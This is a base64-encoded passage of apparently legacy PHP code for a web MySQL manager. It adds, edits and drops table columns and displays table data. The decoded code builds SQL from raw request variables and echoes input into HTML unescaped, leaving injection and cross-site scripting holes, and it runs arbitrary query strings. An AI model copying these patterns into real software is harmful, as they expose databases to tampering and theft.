Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5
cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gImNo
ZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5
cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9PSAibWVk
aXVtaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4IH4gODM4
ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJTlQiICc7
IGlmKCAkdHlwZSA9PSAiaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0yMTQ3NDgz
NjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8
L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFs
dWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwv
dGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50
ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0
cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAk
dHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlu
cHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlwZSA9PSAi
ZG91YmxlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxpZ249Y2Vu
dGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxp
Z249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw
ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1h
bCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0ZCBhbGln
bj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0
ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1
dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRl
IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwg
WVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8
L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQg
dHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUgPT0gImRh
dGV0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0wMSAwMDow
MDowMCB+IDk5OTktMTItMzEgMjM6NTk6NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90ZD4KPHRk
PiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBl
IHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNo
ZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZ
WVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3Ry
Pgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlm
KCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1
OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy
Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBpZiggJHR5
cGUgPT0gInllYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAyMTU1LCAw
MDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0
eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiAp
IGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZh
bHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7
ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8
L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllURVhU
IiAnOyBpZiggJHR5cGUgPT0gInRpbnl0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5Z
VEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5w
dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4
dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1
ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNr
ZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05H
VEVYVCIgJzsgaWYoICR0eXBlID09ICJsb25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+
TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0
cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlm
KCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgw
IH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+
Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBl
PXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJ
VU1CTE9CIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPk1FRElVTUJMT0IgKDAgfiAxNjc3NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3Ry
Pgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAn
OyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxP
QiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRk
PiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4gCjx0cj4KPHRk
PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRU5VTSIgJzsgaWYoICR0eXBlID09
ICJlbnVtIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5FTlVNPC90ZD4KPHRkIGNvbHNwYW49NT48
Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw
ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNo
byAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+Cjx0ZCBjb2xzcGFuPTU+PGNlbnRlcj52YWx1ZSBs
aXN0PC9jZW50ZXI+PC90ZD4KPC90cj4KCjwvdGFibGU+Cjx0YWJsZT4KPHRyPjx0aD5NPC90aD48
dGg+RDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3Ro
Pjx0aD52YWx1ZSBsaXN0IChleDogXCdhcHBsZVwnLCBcJ29yYW5nZVwnLCBcJ2JhbmFuYVwnKSA8
L3RoPjwvdHI+Cjx0cj4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBu
YW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPgo8dGQg
YWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9RCAnOyBpZiggJEQgIT0g
IiIgKSBlY2hvICJ2YWx1ZT0kRCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0
IHR5cGU9Y2hlY2tib3ggbmFtZT11bnNpZ25lZCB2YWx1ZT0iVU5TSUdORUQiICc7IGlmKCBzdHJw
b3MoICRmaWVsZHR5cGUsICJ1bnNpZ25lZCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3Rk
Pgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFs
dWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBl
Y2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1j
aGVja2JveCBuYW1lPWJpbmFyeSB2YWx1ZT0iQklOQVJZIiAnOyBpZiggc3RycG9zKCAkZmllbGR0
eXBlLCAiYmluYXJ5IiApICApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249
Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT02MCBuYW1lPXZhbHVlbGlzdCAnOyBpZiggJHZh
bHVlbGlzdCAhPSAiIiApIGVjaG8gInZhbHVlPVwiJHZhbHVlbGlzdFwiIjtlY2hvICc+PC90ZD4K
PC90cj4KPC90YWJsZT4KCgo8aDM+RmxhZ3M8L2gzPgo8dGFibGU+Cjx0cj48dGg+bm90IG51bGw8
L3RoPjx0aD5kZWZhdWx0IHZhbHVlPC90aD48dGg+YXV0byBpbmNyZW1lbnQ8L3RoPjx0aD5wcmlt
YXJ5IGtleTwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNr
Ym94IG5hbWU9bm90X251bGwgdmFsdWU9Ik5PVCBOVUxMIiAnOyBpZiggJGZpZWxkbnVsbCAhPSAi
WUVTIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1
dCB0eXBlPXRleHQgbmFtZT1kZWZhdWx0X3ZhbHVlICc7IGlmKCAkZmllbGRkZWZhdWx0ICE9ICIi
ICkgZWNobyAidmFsdWU9JGZpZWxkZGVmYXVsdCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50
ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19J
TkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAi
Y2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2ti
b3ggbmFtZT1wcmltYXJ5X2tleSB2YWx1ZT0iUFJJTUFSWSBLRVkiICc7IGlmKCAkZmllbGRrZXkg
PT0gIlBSSSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPC90cj4KPC90YWJsZT4KCjxw
Pic7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1
ZT0nQWRkIEZpZWxkJz5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJZWNobyAiPGlu
cHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7CgllY2hvICI8aW5wdXQgdHlw
ZT1idXR0b24gdmFsdWU9Q2FuY2VsIG9uQ2xpY2s9J2hpc3RvcnkuYmFjaygpJz5cbiI7CgllY2hv
ICI8L2Zvcm0+XG4iOwp9CgpmdW5jdGlvbiBtYW5hZ2VGaWVsZF9zdWJtaXQoICRjbWQgKSB7Cgln
bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1l
LCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csCgkJJE0sICRELCAkdW5zaWdu
ZWQsICR6ZXJvZmlsbCwgJGJpbmFyeSwgJG5vdF9udWxsLCAkZGVmYXVsdF92YWx1ZSwgJGF1dG9f
aW5jcmVtZW50LCAkcHJpbWFyeV9rZXksICR2YWx1ZWxpc3Q7CgoJaWYoICRjbWQgPT0gImFkZCIg
KQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCAkbmFtZSAiOwoJZWxz
ZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVu
YW1lIENIQU5HRSAkb2xkX25hbWUgJG5hbWUgIjsKCQoJaWYoICRNICE9ICIiICkKCQlpZiggJEQg
IT0gIiIgKQoJCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCRNLCREKSAiOwoJCWVsc2UKCQkJJHF1ZXJ5
U3RyIC49ICIkdHlwZSgkTSkgIjsKCWVsc2UgaWYoICR2YWx1ZWxpc3QgIT0gIiIgKSB7CgkJJHZh
bHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOwoJCSRxdWVyeVN0ciAuPSAiJHR5
cGUoJHZhbHVlbGlzdCkgIjsKCX0gZWxzZQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsKCgkkcXVl
cnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOwoKCWlmKCAkZGVmYXVsdF92
YWx1ZSAhPSAiIiApCgkJJHF1ZXJ5U3RyIC49ICJERUZBVUxUICckZGVmYXVsdF92YWx1ZScgIjsK
CQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9zZWxl
Y3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwg
JG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hhbmdl
Cgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMg
RlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1hcnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlzcWxf
ZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZ
IiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25hbWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFuZ2Ug
PSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFyeSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7CgkJ
fQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49ICIs
ICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1YnN0
ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAiQUxU
RVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSggJHEg
KTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4g
bXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklNQVJZ
IEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxfcXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49ICI8
YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9CgoJ
dmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBkcm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3FsSGFu
ZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0
ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIENP
TFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxl
ICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0g
bXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1hKCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVl
cnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVu
YW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRwYWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7CgoJ
ZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIiICkK
CQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7
CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1ZXJ5
U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIgKSB7
CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRlcmJ5
ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgT1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8gIjxh
IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwgXG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VM
Rj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+
U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAk
cXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNxbF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7CgkkdGFi
bGVuYW1lID0gJGZpZWxkdC0+dGFibGU7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkkR0xP
QkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkgewoJ
CWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVybjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkgewoJ
CSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNob1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJfQoK
CWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJJGNv
bCA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsKCQll
Y2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0dXJuOwoJfQoJCglpZiggJHJvd3BlcnBhZ2UgPT0g
IiIgKSAkcm93cGVycGFnZSA9IDMwOwoJaWYoICRwYWdlID09ICIiICkgJHBhZ2UgPSAwOwoJZWxz
ZSAkcGFnZS0tOwoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFn
ZSApOwoKCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOwoJZWNo
byAiPHRyPlxuIjsKCWZvciggJGkgPSAwOyAkaSA8ICRjb2w7ICRpKysgKSB7CgkJJGZpZWxkID0g
bXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJCWVjaG8gIjx0aD4iOwoJCWlmKCRh
Y3Rpb24gPT0gInZpZXdEYXRhIikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj12
aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZvcmRlcmJ5PSIuJGZp
ZWxkLT5uYW1lLiInPiIuJGZpZWxkLT5uYW1lLiI8L2E+XG4iOwoJCWVsc2UKCQkJZWNobyAiPGZv
bnQJc3R5bGU9J3RleHQtZGVjb3JhdGlvbjpub25lO2NvbG9yOiMwMDAwMDA7Zm9udC1zaXplOngt
c21hbGw7Jz4iLiRmaWVsZC0+bmFtZS4iPC9mb250PlxuIjsKCQllY2hvICI8L3RoPlxuIjsKCX0K
CWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCglm
b3IoICRpID0gMDsgJGkgPCAkcm93cGVycGFnZTsgJGkrKyApIHsKCQkkcm93QXJyYXkgPSBteXNx
bF9mZXRjaF9yb3coICRwUmVzdWx0ICk7CgkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFr
OwoJCWVjaG8gIjx0cj5cbiI7CgkJJGtleSA9ICIiOwoJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7
ICRqKysgKSB7CgkJCSRkYXRhID0gJHJvd0FycmF5WyRqXTsKCgkJCSRmaWVsZCA9IG15c3FsX2Zl
dGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGogKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0g
